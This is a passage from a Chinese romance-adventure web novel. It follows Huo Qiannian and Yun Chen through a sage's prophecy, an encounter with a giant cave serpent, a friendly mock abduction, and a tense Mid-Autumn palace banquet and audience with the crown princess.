目光瞧见道观地上放着好大一张黑白花纹的垫子,她已经困得没力气多想,直接走过去躺下,倒头就睡着了。
院子里,霍乾念和观虚仍在论道,从黄昏论到天黑,又从天黑论到天亮。
从一花一叶论到轮回因果,又从天下大和论到清净无为。
直到东方透出微红灿烂,霍乾念才惊觉时间过了那么久。
可若说久,霍乾念又觉得只短短一夜,心中许多事已天翻地覆,像是换了一双新眼睛看这世间。
他感觉有些意犹未尽,刚想张口,观虚却再次洞察他心思,摆摆手,道:
“我与你必有一会,但也只此一次缘分,不必强求。”
霍乾念只得放弃请观虚出山的念头。
诚然,像观虚这样的隐世高人,是不会对追名逐利的权谋感兴趣的。
“道长,我想最后问你三个问题。”霍乾念说。
观虚笑而不答,只早有准备地从旁取出六张纸,两只笔,递给霍乾念一半:
“三个问题,你问,我答。”
霍乾念随即落笔写下三个问题,观虚压根没有看到霍乾念写的是什么,却同时在纸上落下了三个答案。
二人都将纸扣在桌面上。
观虚作出请的手势,“倒着来吧,从你第三个问题开始。”
霍乾念翻开纸,上书“楠国”。
观虚遂将一张纸推过来。
霍乾念打开,只见上面写着“三国归楠”四个字,他不禁惊讶抬眉。
再翻开第二个问题,霍乾念问的是“霍帮”,观虚答得还是四个字:“天下同姓。”
霍乾念眉心微挑,压制住眼底幽暗神色,表情有些僵硬地夸赞:
“道长胆识过人。”
观虚直直望进他眼睛,笑而不语。
于是,霍乾念将最后一个,也是他最关心的问
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题拿起,却还未翻过纸张,就被观虚轻轻摁住。
面对霍乾念疑惑的目光,观虚问:
“若我告诉你,你与她在一起,分则生,合则死,你会今时今日今刻就与她诀裂吗?”
“不会。”霍乾念斩钉截铁地回答:
“生同衾,死同穴。生死不过命定轮回,只要能与她一起,何所畏惧。”
观虚又问:“那若我还说,你们二人在一起,分则天下兴,合则天下亡,你还坚持刚才的答案吗?”
这次霍乾念沉默了。
天下?
他不过想要与心爱的云琛白首偕老而已,竟至于要碍到天下众生兴亡吗?
若真如此……
霍乾念道:“若真到了那个境地,便舍天下而求她,既一切命定——”
观虚接过霍乾念的话:“是了,既一切命定,问又有何意义,不过徒增烦恼。无论我今日说什么,或者我告诉你来日会是什么样的结果,都不可能改变你当下的心意。那么不问也罢。”
霍乾念好像明白了,却又不明白。他知道自己只是不敢细想。
他与观虚同时望向道观正殿。
那风姿庄严的降魔护道天尊神像下,云琛正躺在神像脚边的八卦垫上呼呼大睡。
另一边的垫子上,还有一只常来观里偷吃果子的猫与她作伴。
她像一只陪伴在天尊身边顽皮却忠诚勇敢的灵宠。
平日里威风赫赫,随天尊南来北往,平定四海妖魔。
此刻罕见的不设防,露着肚皮,变成柔软的奶团子,叫人恨不得拥进怀里、捧在手心里,不知该怎样疼才好。
瞧着这一幕,霍乾念突然就什么答案也不想知道了。
知道了又如何,什么都阻止不了他想与她共度此生的决心。
似乎察觉到有两双眼睛望着自己,云琛舒服地伸个大懒腰,悠悠醒来。
她往殿外看去,只见外面已天光大亮,碧天高阔无垠,云海波涛涌动,群山都沐浴在朝阳渡金下。
这样绝美仙灵的美景前,霍乾念与观虚衣袂飘飘对坐,霍乾念的脸上甚至添了一抹仙风道骨之感。
有那么一瞬间,云琛觉得他们很像两个神仙。
第256章 幽闭恐惧症
回京都的时间不能耽搁,霍乾念与云琛用过混元斋饭,向观虚告别而去。
临行之际,观虚为二人指了一条隐藏在山体中的小路,说是可以由山洞直接穿山而过,能省去两日路程。
二人走出大门时,霍乾念突然停了一下,回身向观虚说道:
“道长,那第一个问题的答案,我还是想要知道。”
观虚露出并不意外的笑容,将一张纸条叠好,递给霍乾念,并道:
“需要时再打开吧。”
再次道谢离开,走出去没两步,霍乾念又折了回去,说什么也要把门口那小包裹拿上,臊得云琛脸都红了。
他却毫不在意地牵住她,笑道:
“我乃凡人躯,食色,性也。”
顺着来时路,二人一路下山,寻到无聊的大眼瞪小眼的屠狼驹和水中龙,按观虚所指的山洞走了进去。
一进山洞,气温骤然变低,在这初秋烈日当头的时候,算是难得的凉爽舒适。
起初二人还担心,山洞会不会太低窄,两匹马儿无法穿过。
现在看来空间绰绰有余。
山洞像一道地崩造成的巨大裂缝,往上足有几十丈高深,往宽足够十几匹马同时并行。
随着逐渐深入山洞,洞口的光线全部消失,
霍乾念取出火把照亮。
借着幽幽火光,可以看见前方幽深不见尽头的路,以及四周光秃秃的山壁。
在这样陌生又黑暗的地方,二人不敢纵马疾行,选择步行牵马,四下只闻哒哒的马蹄声和回音。
既然是观虚所指的路,二人都比较放松,也不像平时那么警戒,有一搭没一搭地聊着天:
“阿念,前两日我收到京都来信,说是东宫赏了我少将府。”
“嗯,选在离霍府一刻钟路程的地方,是前朝的一个将军府,我已叫人整个翻新收拾过。你虽不住,但以后少不得宾客往来,门面还是得有。”
“你比我还先知道?你帮我选的吗?为啥我‘虽不住’。”
“你不想和我在霍府待着吗?栖云居我也叫人收拾了,里面如今放了两张床,并排挨在一起,好大一张。”
“……”
“你若觉得在霍府熟人太多,不自在,我便随你去住少将府。”
“我猜,少将府的寝屋里,也是‘好大一张’吧……”
“琛儿聪慧!”
两人说话间行路,估算下时间,约莫走了一个多时辰,已走到山体的最中央。
这时,前方突然出现三道岔路,看样子是通往不同方向的。
三选一,怎么选?观虚也没说。
霍乾念和云琛在三条路入口处挨个查看。
一模一样的山壁,一模一样的幽深黑暗,看起来没有任何区别。
两人一合计,观虚既然让他们走这路,必然早就算到他们会选择哪条。
变与不变,皆在定数。
既如此,两人便放心选了最右边的路。
但走了没几步,屠狼驹和水中龙也不知怎么了,突然开始变得焦躁不安,一个劲儿地原地打转。
这两匹马儿都是**挑一极通人性的好马,不会轻易闹脾气。
两人心里不禁有点犯嘀咕:
是不是前方有什么危险,马儿已经预感到了?
两人一向谨慎,见此情况,立刻带着马儿撤出右边的路,改走中间。
结果走了没一会儿,马儿又开始烦躁转圈。
两人只能又换去
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左边的路走。
但无论换哪条路走,马儿都一副不愿前行的样子。
云琛怀疑这两匹马有幽闭恐惧症。
她大声呵斥水中龙:“狗小六!别闹!”
霍乾念也有样学样,对着屠狼驹道:“霍云,听话!”
两匹马儿挨了训,极不情愿地跟着两人继续前行。
既然哪条路都不得“马意”,两人干脆选了最开始的右边道路,将两匹马连拉带拽地往前赶。
谁知走了还不到半个时辰,前方却突然出现一堵黑漆漆的山壁,竟然走到了死胡同。
霍乾念举着火把靠近山壁,瞧了一会儿,奇怪道:
“这山壁上全是鳞片图案,是壁画吗?”
云琛也凑过去查看,伸手摸了摸“图案”,又抠了抠,也很纳闷:
“摸起来怎么有点滑手?会不会又是观虚的障眼法,是个假死胡同?咱们拿剑砍两下试试?”
说完云琛就想去马背上取剑,一扭头,却见屠狼驹和水中龙竟不知何时,已躲去老远,一副十分惊恐的样子。
霍乾念将火把靠在山壁上,准备去将马牵回来。
云琛看着他的动作,目光自然地扫过他身后。
不知是不是错觉,她觉得那黑色的墙壁好像动了一下。
紧接着,火把“当”一声掉在地上,火光瞬间熄暗。
借着微弱到极限的火光,云琛看见墙壁像活了一样缓缓抽动起来。
一颗巨大的脑袋缓缓从墙壁中盘旋探出,停在了二人面前。
这时,原本微弱下去的火光又重新燃烧发亮。
二人终于看清,眼前根本不是什么黑色山壁,竟然是一条粗如水缸、长身盘旋而眠的黑色巨**!
第257章 象骨
霍乾念与云琛浑身僵硬,站得笔直,眼睁睁看着巨大的蛇头缓缓靠近,用冰冷的目光打量着面前两个弱小的“不速之客”。
一条比人还长的蛇信子,从巨**口中吞吐出,拂过二人身前,发出令人心悸的“嘶嘶”声。
感觉像被人隔空抽了一鞭,霍乾念和云琛整张脸都是麻的。
从来没有见过这么大的**蛇。
到底到活了几千几万年,才能长成这么大?
二人甚至有一瞬间怀疑,眼前是不是传说中的龙?
二人一**就这么对立着,四下安静得像**一样。
就连远处的屠狼驹和水中龙都静悄悄的。
不知过了多久,巨**缓缓垂下头,而后一动不动,竟像是睡着了。
霍乾念轻轻朝云琛打手势,示意她后退。
她试探着迈开步子,见巨**没有反应,便一直向后退去,企图去摸水中龙背上的剑。
估计着距离差不多,应该退到马身边了,她一边眼睛盯着巨**,浑身高度戒备,不敢回头,一边伸手朝后去摸。
在空中到处找了好一阵,却怎么也摸不到。
一回头,却见两匹马不知道什么时候,跑得比刚才更远了。
她好气又好笑,只能又紧走几步去拿剑。
等她拿着两支剑,轻手轻脚地走回去时,却见霍乾念正站在蛇头前歪头打量,已卸去全身戒备,仿佛一个看着心爱乖孙睡午觉的大爷。
云琛不敢说话,只是轻拍他的肩膀,用眼神表示询问。
“没事,它睡着了。”
霍乾念突然出声,吓得云琛浑身汗**都竖了起来,疯狂打手势示意他噤声。
霍乾念被云琛的样子逗笑了,解释道:
“这应该是巴蛇,冬日苏醒,夏秋而眠。眼下正是它休眠的时候,没有攻击性。我从前在上古神话书中见过,没想到竟是真的。”
云琛深呼吸平静心情,走到霍乾念身边,也学着他的样子打量巨**。
巨**闭着眼睛,睡相安然,身上还散发着一种特别的、近似香烛的好闻味道。
这时,霍乾念突然想起从道观离开时,观虚给他的那张纸条。
直觉告诉他,那纸条应该用在这里。
他将纸条摊开,果然,上面的内容和他在道观问的第一个问题完全无关:
“陵山有巴蛇,吞象无,三岁而沁其缘骨,剖腹取而燔灼数份,君子服一,可以延年千万岁。”
说是这座山峰名叫陵山,山中有一条巨**巴蛇,三年前吞了一头大象。
如今三年时间过去,象骨沁润在蛇腹中,变得如同玉一般质地。
若将蛇腹剖开,取出象骨焚烧成灰吃下去,可以延年益寿千万岁。
“千万岁”肯定是个虚指,但显然,这巴蛇腹中的象骨,是有强身健体且长寿功效的。
这等稀罕物,只怕常人连听都没有听过。
霍乾念扶住蛇头,用力去推。
他身高体长,手顶云琛脸大,但放在蛇头上,显得跟蚂蚁一样小。
巴蛇纹丝不动,一点都没有要苏醒的意思。
估计要不是刚才火把靠在蛇身,烫到人家,这巴蛇是不会醒的。
如此,想要取象骨便不难。
两个人,两把剑,先砍蛇头再剖腹,也就半个时辰的功夫。
云
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琛瞧着乖乖睡觉的巴蛇,它虽然体型庞大骇人,但看着十分温顺。
她心里有点难受,“阿念,要……杀它吗?它应该历经了许多劫难,好不容易才长成这么大的吧……”
霍乾念懂她的意思,轻轻抚摸蛇头。
“不了。摘花,取果,食肉,杀敌……皆有正道缘由。可若只是为了长命百岁多活些日子,就夺它性命,实在非人。”
云琛点头同意:“匹夫无罪,怀璧其罪。”
“万物皆有灵,这世间属于万物,不只属于人。”
霍乾念说完,拉着云琛开始往回走,准备原路返回。
这时,那巴蛇却好似有灵一般,又突然苏醒,微微蜷动身腹,竟将那象骨吐了出来。
吐完象骨,巴蛇朝二人点头致意,而后挪动庞大的身躯,渐渐消失在幽暗的路尽头。
霍乾念和云琛愣在原地,对着那副散发着浓重腥味的象骨瞧了许久,迟迟反应不过来。
直到云琛手中的纸条燃起火苗,继而整个烧起来,两人才回过神。
没料到纸条会自燃,云琛被烫得甩开手,纸条在空中燃烧飞舞,将观虚的字一点点化为灰烬,最后只留下零星四张小碎片。
云琛凑近那碎片:“真巧,刚好四个字没烧完,‘有’、‘无’、‘份’、‘缘’?”
云琛不懂这是什么,霍乾念却明白,这就是观虚给他的答案。
回答的正是他在道观时写下的第一个问题:
他与云琛。
只是四个字零散落在灰烬里,没有顺序,可以理解的意思就太多了。
霍乾念无奈叹道:
“实乃高人也。”
第258章 熟悉的算计
霍乾念与云琛继续行路,接下来相安无事,再无意外发生。
穿过山洞,重见青山烈日。
云琛想要回头看看那巴蛇会不会跟出来,却怎么也找不到出来时的洞口。
回忆这一天一夜,颇有在神仙洞府走了一遭的感觉。
霍乾念和云琛将象骨焚烧出半麻袋骨灰,仔细装好,放上马背,继续踏上回京的路途。
在距离京都很近的一处小镇上,二人停下来过夜,开始做最后的休整。
眼见才八月初十,离东宫定下的日子还有五日富裕时间,云琛心情松快许多,用完晚饭便喊霍乾念一同去散步。
但霍乾念满脑子都在琢磨那烧成灰烬的答案,到底是“有缘无份”,还是“有份无缘”,亦或是“无有缘份”?
他没心情出门,云琛便吃饱喝足之后,独自往镇子而去。
此处距离京都很近,从未受到战火波及,四下只有安宁的百姓们往来穿梭。
难得这样无事清净,云琛一摇三晃走得舒坦,不知不觉就从黄昏走到了天色渐黑,周围行人渐稀,愈发安静。
她一直走到镇子边的一条小河。
小河不宽阔,却清澈见底,岸边有柳树垂下,夏风****,颇为惬意。
走到河上一座小拱桥的时候,远远地,云琛看见一个女子正坐在桥头哭泣。
那女子穿一身华丽衣裙,头戴珠钗,面朝河水而背对着云琛。
云琛隐约瞧见那女子好像用帕子捂着脸,哭得十分伤心。
琢磨了一下这小河很浅,就是投河也淹不**,云琛一身男装,并不想多管闲事。
可正当云琛要经过那女子身边的时候,却听对方突然爆发出一声极其尖锐的哭喊,吓得云琛差点“嗷”一下弹出去,冷汗都吓出来了。
瞧那女子哭得浑身乱抖,像是痛苦极了,哭声也越来越大。
云琛实在做不到无视,慢慢停下脚步。
她先是警醒地打量四周,又仰头瞧了瞧女子身前一株枝繁叶茂的大柳树,见枝叶未动,并无异常,她走到那女子身后一丈站定,拱手行礼:
“这位娘子,可是有什么伤心事?天色已晚,女儿家独身在外不安全,在下护送您回家吧!”
那女子并不转身,只是用带有哭腔的声音嘟囔两句,呜呜咽咽的,不知道在说啥。
云琛没太听清,只能又上前靠近一步,“娘子,您说的什么?我没有听清楚。”
“我说……”那女子似乎哭得狠了,只说清了头两个字,后面的话还是嘟嘟囔囔的。
没辙,云琛只能又靠近一步。
紧接着,只感觉眼前忽然一摇一晃,满是珠钗飞舞。
还未等云琛看清对方的脸,那女子已动作凌厉地转身扑来,死死抱住了云琛的头。
云琛本能地去抽腰间**,那女子却像是极其熟悉云琛似的,扑过来的第一时间便狠狠踩住云琛手腕。
紧接着,一个瘦长的绿影从柳树上跳下,直接骑在云琛背上,一把扼住了云琛的脖颈。
云琛被勒得两眼发黑,瞬间晕死过去。
不知过了多久,云琛意识逐渐清醒。
她没有出声,不动声色地默察周围环境。
她微动手脚,感觉到自己正躺在一处木榻上。
她四肢都被反绑在身后,且捆得极其牢固,眼睛上蒙着布条,什么也看不见。
从四周声音判断,应该是在一处安静的屋子里,有两个平稳的呼吸声正在她不远处。
完全没想到会在离京都这么近的太平无战之地遇到袭击,云琛心里发恼,骂自己不该那么大意。
回忆晕死之前的情景,虽然并未看清对方面容,但从身手力道上可以断定,对方根本不是“女子”,肯定是个功夫不错的男人。
且另一个隐在柳树上伺机出手的,应当是个高手暗卫。
这样有预谋有分工还带障眼法的挖坑算计,令云琛隐隐有种熟悉的感觉。
脖颈被勒得生疼,云琛清清嗓子,费力地开口:
“在下云琛,不知如何得罪了两位好汉,还请给个明白话。”
话说完,云琛仿佛听见对面传来一声压抑的轻笑。
一个刻意压低的嗓音开口:
“听说你以前是霍帮的亲卫,那你肯定知道很多霍帮的秘密。说出来,我饶你不死。”
是霍帮的仇人?
霍帮如今由叶峮代管,云琛不管霍帮的事已有好几年。她不知为何会突然找到自己,但还是顺着对方道:
“霍帮的秘密很多,你们想知道哪方面的?”
“自然是关于霍少主的,越详细越好。”另一个同样压低的嗓音
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插嘴说话,末尾音色带着点强行忍耐的笑意。
云琛心下敞亮。
想了想,她面不改色地开始编瞎话:
“我家少主性子软,怕生,身子也弱,手无缚鸡之力。”
这话一出,空气直接安静了。
云琛蒙着眼睛都能感觉到对方的目瞪口呆。
“你特娘的敢再胡说八道一点吗?”一个声音说。
另一个声音咳嗽两声掩饰情绪,道:“我们对这些不感兴趣,就想知道霍少主有没有什么见不得人的秘密?”
“哦,你们想知道这些啊。”云琛在榻上侧过身,换了个舒服些的姿势,开始自言自语一般地说:
“我家少主有没有见不得人的秘密,我不是很清楚,但别人的秘密我倒是知道不少。我们霍帮有好几个亲卫,有个叫花绝的,老喜欢扮女人,不知道他外面卖梨糖的相好知不知道他有这癖好;
还有不言,他那三脚猫的功夫提不成,如今被我家少主嫌弃,暗卫不做,转文职了。对了,他还有燥痔,就是痔疮——”
话说到一半被迫戛然而止,云琛的脖颈被圈进一个熟悉的锁喉里,发出一声杀鸡般的惨叫。
她眼睛上的布被扯开,花绝那张有点像霍乾念、却远比霍乾念欠揍傲娇的脸出现在面前。
云琛身后,不言勒着她的脖子,笑着大骂:
“你小子!当少将以后飘了是吧?敢把兄弟的私密事往外捅?!”
“可不是!敢拿蕊娘威胁我?”花绝一边往地上啐吐沫,一边摩拳擦掌,作出要整治云琛一番的“阴险”笑容:
“你小子现在胆儿太肥了,我得给你捋一捋!”
云琛“嘿嘿”一笑,“我从无义秘籍上学的招式还没用过呢,正好这会儿试一试!”
“哟哟哟!背着我们偷偷学新招了?”
“话不要太大!输了请酒!”
“**!好像有点厉害!”
“哎哎哎不带这么玩儿的!疼疼疼疼——”
“错了错了!念在我们仨专门出城在迎你的份上!云将军饶命!”
“啊啊啊救命——”
三个人嘻嘻哈哈打闹成一团。花绝和不言的惨叫声很快响彻屋子内外。
隔壁屋里,霍乾念和叶峮听到动静,皆会心一笑,继续谈论起霍帮堂口的近来事务。
第259章 现场相亲
原以为,东宫那样郑重急令召回京,必定出了什么要紧大事。
很可能是南璃君在朝中被倪鲲掣肘的无比艰难,急需支援。
然而等霍乾念和云琛千里迢迢赶回来时,却只见到皇宫内外安然无恙。
永安殿层层装饰着琉璃盏,布置得金碧辉煌,摆着珍馐美馔不见尽头的中秋夜宴。
大殿中央,一座巨型五彩雕凤昂首而立。
是用红梅瓜、胡萝卜、青萝卜、白玉笋等几十种食材,配上珍珠宝石镶嵌,由八十个工匠共同雕刻拼建出来的。
因天气炎热,食物易腐,为保持凤凰蓬勃的形态与灿烂的颜色,八十个工匠们于宴会当日凌晨开始动刻刀,直到夜宴前半个时辰才雕完。
这样别出心裁又奢华美丽的凤凰,果然赢得百官惊叹连连。
霍乾念和云琛坐在筵席中,看向身旁和他们一样,只为一封限期八月十五日前必须抵达京都的东宫急令,就立马撇下战事赶回来的曹放、段捷和孟剑云。
五人面面相觑,皆是一脸风尘仆仆的倦色,两颊有战场风沙磨砺出的皲裂粗糙,与宴会上衣冠齐楚、光鲜亮丽的百官显得格格不入。
曹放发已花白,肩膀有伤未愈,还裹着草药布巾。
另一位老将孟剑云也是满头银发,走路时候脚有些跛,看样子也是战时受的伤。
段捷和霍乾念差不多年纪,是个年轻将领,没有受伤,但满脸倦容,眼下泛着重重的青色。
几人对着奢华昂贵的宴席,轻松和乐的气氛,忍不住暗暗叹口气。
霍乾念脸色尤其难看,一杯接一杯地喝闷酒。
云琛倒不觉得什么,因为云望恰巧被安排在她身旁的席位,两人刚好可以趁这个时候说说话。
她倾身靠近云望,鬼鬼祟祟发问:
“在京如何,一切都好吗?莲城还适应吗?有没有什么缺的?”
云望飞快看一眼四周,露出官方客气的笑容:
“多谢云将军关怀,京都乃风水宝地,下官与家眷有幸,能来此天子之城,甚好。”
云琛并没有听出云望刻意保持距离的态度,又道:
“我在东南得了一副宝银马铃,声音清脆悦耳,能传到一里之外,赶明儿送你府上去,莲城一定喜欢。”
“多谢云将军挂念。”注意到周围有几个大臣已探究地看过来,显然很意外二人如此相熟,云望继续保持着标准笑容,道:
“是下官教子无方,犬子成日里就喜欢琢磨各式各样的马铃。听闻东南有纯银铸铃,犬子非叨扰霍将军要寻一个来。承蒙霍将军厚爱应允,没想到劳累云将军代为寻来,实在感激。”
话生分到这个份上,云琛终于明白意思,她应当与云望避嫌的,只得坐直了身子,不再说些太过亲近的话。
见那些原本竖着耳朵听过来的大臣们,都露出一副“原来如此”的表情,不再关注,云望暗松一口气,端起梅子酒喝了一口。
这时,一个大臣举杯对云琛笑道:
“云将军年纪轻轻便如此军功卓著,真是我楠国不可多得的青年才俊呀!敢问将军故乡何处?”
云琛饮酒还礼,不假思索地张口就道:“我来自幽——”
刚说了个“幽”字,一旁的云望立刻出声打断:
“宥阳?是宥阳吧!我听云将军有些宥阳口音,不知下官猜得准不准?”
云琛反应过来,摸摸鼻子,尴尬笑道:
“对……云大人好厉害,这都猜得出。”
云望押下两口梅子酒,微笑道:
“将军过誉。”
那大臣认真记下“宥阳”二字,又问:“云将军双亲身体可还康健?”
云琛回答:“谢大人关怀,都好。”
那大臣又笑道:“云将军这样的国之栋梁,常年征战沙场为国效力,不能侍奉在双亲身边,只能劳累夫人代为看顾了吧?”
“谢大人关心。我未婚,没有夫人。家中弟妹都已婚娶,他们可以照顾父母——哎呀——”
云琛话未说完,突然捂着小腿直皱眉。
她还没蠢到质问云望“为啥踢我?”的份上,知道自己又说错话了。
果然,她那句“我未婚”一说完,席间“噌”地亮起几十
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双眼睛,瞬间如开锅一般,纷纷对着她:
“云将军家中弟妹都已成婚,您作为长子,也得今早完婚才是!臣的侄女是荣禄伯爵家的五小姐,年方十六,知书达理......”
“嫡子有光宗耀祖传承之责,云将军尽早成婚生子才是大事!臣的外甥女十五岁,平时不喜诗文,倒是颇爱舞刀弄枪,定和将军投缘......”
“云将军战场杀伐辛苦,还得性子温婉和顺的良女相配最妥,我听说鄂国公家的小女儿芳龄正好......”
霍乾念是侯爵,财权之大,高不可攀,没人敢随意攀附。
云琛就不一样了,她只是子爵位。
要换作平时,京圈贵族之流是看不上她这样“护卫出身”的。
但这两年她在战场屡立军功,已是炙手可热的武将新贵,前途无量,富贵也无量。
京中有适龄待嫁女的权贵人家,都想和云琛结个亲。
再加上云琛模样俊俏,说话直爽,在这些个做官多年已经快成精的“老狐狸”眼中,云琛就像个奶凶的小猛犬,呲着刚长出的新獠牙,十分好拿捏。
面对这波猛烈的“现场相亲攻势”,云琛吓得脸都绿了,一会婉拒这个,一会儿辞谢那个,手忙脚乱难以应对,只能用求助的目光看向云望。
云望无奈叹口气,“云将军,你不是要去更衣吗?一会儿东宫驾到,就要正式开宴了,你尽快去吧。”
“对对对我要更衣来着!”云琛猛一拍大腿,仓皇离席。
不知道云望耍了什么手段,总之等云琛再回来的时候,只见众人全都一副兴趣缺缺的模样。
那些刚才还忙着给云琛说亲的大臣们,这会皆闭口不再提,而是用一种奇怪的眼神看着云琛。
而云望则坐在那里猛灌梅子汤,一旁的宫人差点都来不及给他续上。
待云琛满脑子问号地坐下,云望露出一个标准又得体的笑容,用近乎腹语的声音对她咬牙说:
“云将军都饿瘦了,一会儿多吃饭,少说话,好吗?”
云琛点头如捣蒜,不敢不应。
第260章 中秋夜宴
约莫半个时辰后,夜色如幕而至,宫灯悉数点亮。
南璃君一身明黄色的华服,于数十女官和宫人簇拥之中而来。
众人皆叩拜东宫千岁,歌舞和夜宴正式开始。
远远的,云琛瞧见女官之首除了菘蓝,竟还有一张她十分熟悉的脸。
云琛笑着看过去,知罗也柔柔一笑,点头还礼。
南璃君落座高座,菘蓝与知罗一右一左而立,宛如两颗明珠衬着琼月,十分美丽。
入京之后,云琛和霍乾念已听说两件奇闻,其中一件正是关于知罗的。
说是知罗以戴罪之身入宫,竟意外十分得南璃君眼缘。
南璃君向来惜才,一直大力培养女官,便叫知罗戴罪立功,在身边侍奉。
女官虽说是“官”,说到底不过是可以替南璃君办理公务的高级婢女,与知罗从前有正经官衔和俸禄的军师身份大不相同。
云琛没想到,只短短几个月而已,知罗竟能做到和菘蓝齐平。
看到知罗安然无恙,云琛心中宽慰许多,她想问问霍乾念,是不是又在背后动用了许多人力财力,才能转圜如此,扭头却见——
自那美妙的舞乐声一出来,霍乾念和曹放等人的脸色更差了。
曹放皱着眉头,连连叹气,一副欲言又止的样子;段捷和孟剑云低头喝闷酒,时不时苦笑一声。
霍乾念沉默地坐着,拨拉着面前一只汝窑描金广口碗里的青笋,几乎将笋子搅碎成糊状,才一口闷掉。
看着霍乾念几人的样子,云望若有所思,眼神透出无奈和思虑。
云琛左看看,右看看。
她知道气氛不太对,但怎么感觉人人都明白,就她跟没长脑子似的,完全不懂怎么回事。
她正学着云望的样子思考,忽听一声急促的战鼓声响起。
几乎是条件反射,她瞬间从席位上弹起,下意识摸向腰间,神情警戒地向声音传来的方向望去。
所有人都被她这突然动作惊了一跳。
霍乾念和曹放几人同云琛一样,都后背一挺,面色微变,只是不像云琛那样反应大。
云望看了圈纷纷注目的众人,抬手轻扯云琛的袖子,温声道:
“是要作战舞的战鼓,不是敌军来犯的信鼓。云将军不必紧张,安心用宴吧。”
云琛紧绷的神经慢慢松懈下来,见众人都异样地看着自己,还有几人捂嘴在笑,菘蓝更是一脸讥笑。倒是知罗一脸担忧,微微蹙眉望着她。
她尴尬地道声“抱歉”,重新坐回去,不好意思地看向云望,感觉自己又犯傻,给他添麻烦了。
但这次,云望既没有悄悄踢她的腿,也没有紧急救场的无语。
他抬手将桌上热乎的牛乳倒进云琛面前的燕窝里,垂下情绪涌动的眼眸,轻声道:
“云将军吃吧,暖胃压惊的。”
此时,一群少年已敲着战鼓、跳着战舞,行至舞台中央。
激越的鼓声与洒脱的舞蹈交相辉映,气势威武蓬勃,看得众人振奋不已,纷纷鼓掌赞叹。
一曲舞罢,南璃君十分高兴,笑问云琛:
“方才云将军听到鼓声,是误以为敌军来犯吗?说明这鼓声逼真,宫中乐师用心了。”
云琛有些不好意思,微微红脸:
“末将失仪,请殿下恕罪。”
南璃君不在意地笑笑,而后神色暗下,有些沉痛地说:
“如今楠国三面受敌,全靠五位将军血战以守国土。此次召诸位将军前来,一则休养生息,否则那样长年累月地守在前线,实在太过辛苦;
看云将军方才那般可知,诸位将军已疲累至极。二则适逢中秋,阖家团圆,国亦团圆,夜宴之后,请诸位将军详细述职,以备后续全力之战。”
南璃君说完,菘蓝捧出东宫令,赐霍乾念和曹放几人黄金、珠宝及玉石无数,以示犒劳。
菘蓝宣读完毕,场面陷入诡异的安静。
没有人起来谢恩。
以霍乾念为首的五个武将都坐着一动不动。
五人之中,霍乾念官职最高,他不率先起身,其他四人不好先动。
云琛有些不安地看向霍乾念,后者在场面冷了好一会儿之后,才在南璃君难看至极的脸色中缓缓站起。
“谢殿下恩典。”霍乾念面无表情地说了这样一句,而后道:
“不如请诸位大臣先用宴,臣随殿下先去述职如何?”
“好。”南璃君露出个僵硬的笑容。
待二人走后,席上众人神态各异,都咂摸出两分滋味。
比起南璃君这个东宫储君,霍乾念既为楠国首富,又有三十万精锐大军在手,在朝势力与日俱增,家族更树大根深不可撼动。
从二人方才对话来看,竟是霍乾念的气势更令人忌惮。
只一句话,南璃君纵使脸色难看,也不得不乖乖离席,抛下她精心准备的中秋夜宴,去听什么“述职”。
云望将所有人或唏嘘、或惊异、或幸灾乐祸的神情尽收眼底,心中忧虑不已。
第261章 我等之主
“殿下千里迢迢令我等回京,是要我等兵围京都,杀倪鲲?”
走进书房,南璃君屁股还没坐到椅子上,就被霍乾念这句话惊了个趔趄。
“若能杀,我早就动手了。父皇留给他八万京军,军中将领皆是倪鲲嫡系亲信,若先动倪鲲,京军必反。”
南璃君话说完,却见霍乾念面色冷淡,嘴角还带着一丝讽刺,便知他方才那句根本不是询问,而是火药味十足的揶揄。
她皱眉,语调已有些不快:
“霍乾念,你气我为中秋夜宴将你们通通召回京,害得你们搁置战事,劳苦奔波一场,是吗?”
所以方才赏赐武将时,你才当着百官的面,那般下我的面子,是吗?
这第二句话,南璃君没有问出口。
霍乾念冷声道:“我适才问殿下,是不是要杀倪鲲,以肃清宫闱,独揽大权。如果是为这样大的理由,我等甘愿如此奔波。”
如果不是,那你实在当战事如儿戏,重权欲大于国家安危。
这话,霍乾念也没有说出口。
南璃君与霍乾念都直直望着对方,似乎也都猜到那些对方没有说出口的话。
书房内气氛压抑至极。
最后,南璃君面色变了又变,率先开口:
“赐座。”
南璃君暗暗平复心情,她知道如今能依靠的权势不多,她若想尽早登皇位,必须要有霍帮的扶持,眼下还不是得罪霍乾念的时候。
她硬生生换了副可以称之为“难看”的僵硬笑容,语气放得愈发和缓:
“我知道你觉得可笑,但你可知,如今所有东宫令,明面上是由我签发。我殚精竭虑,废寝忘食地处理政务,一切为民所向,不惜削减宫中用度以供军费!可实际上所有东宫令签发前,最后盖印鉴时,都需他倪鲲点头才行!
朝中亲玉派已剿灭殆尽,可倪鲲手腕了得,只这一年多时间,就再次网罗成丞相一派!我每每提出什么事务,若倪鲲和他那些党羽同意便无事,若不同意!他们必要花样百出地让我收回成命!甚至以死相逼!!你说,这楠国到底是我南璃君的?还是他倪鲲的?!”
说到最后,南璃君越来越激动,声音尖锐甚至带着一丝哭腔,叫霍乾念一肚子怒意平息许多。
“所以,殿下命我等回京,想要如何?像今日宫宴这般,宴请百官却独独不请丞相倪鲲出席,以示折辱?”
今日中秋宫宴,南璃君唯独没有请倪鲲,这法子虽然幼稚,但也着实打脸。
南璃君不想计较霍乾念话里的又一次讽刺之意,她面色凝重道:
“你以为军饷为何迟迟到不了你手里?新政为何总是推行不下?难道只有打仗重要,朝中割据混乱就于国于民无碍?且如今三面战火,一定有人从中牵连内应!一定与倪鲲脱不了干系!只有他才有如此人脉和手腕!”
霍乾念沉默不语。
南璃君又道:“我此次召你们回京,是要你们筹谋一番,强行接管八万京军。你们五人作战经验丰富,我相信可以成事!”
霍乾念问:“‘强行接管’?怎么个‘强行’法?”
南璃君道:“先暗杀一干倪鲲亲信主将!而后京军由你们五人分别接管,若不从,就由你率宫内禁军镇压!最后再杀倪鲲!”
“京都只有禁京两军,京军负责京都守卫,禁军负责皇宫与天子护卫。禁军只有两万,怎么战八万?”
“你有以少胜多的本事,我觉得可以!或者使计将京军先调离京都,便有机会向倪鲲下手,如何?”
霍乾念愣了半晌,不知道该说南璃君天真好,还是该骂她为揽权,竟意欲在京都城开战??
置外患战火于不顾!更完全不考虑京都城的老百姓将处在什么水深火热的境地!
霍乾念两手撑着膝盖,深深低头,像是整个人有些泄气似的,良久才低声开口:
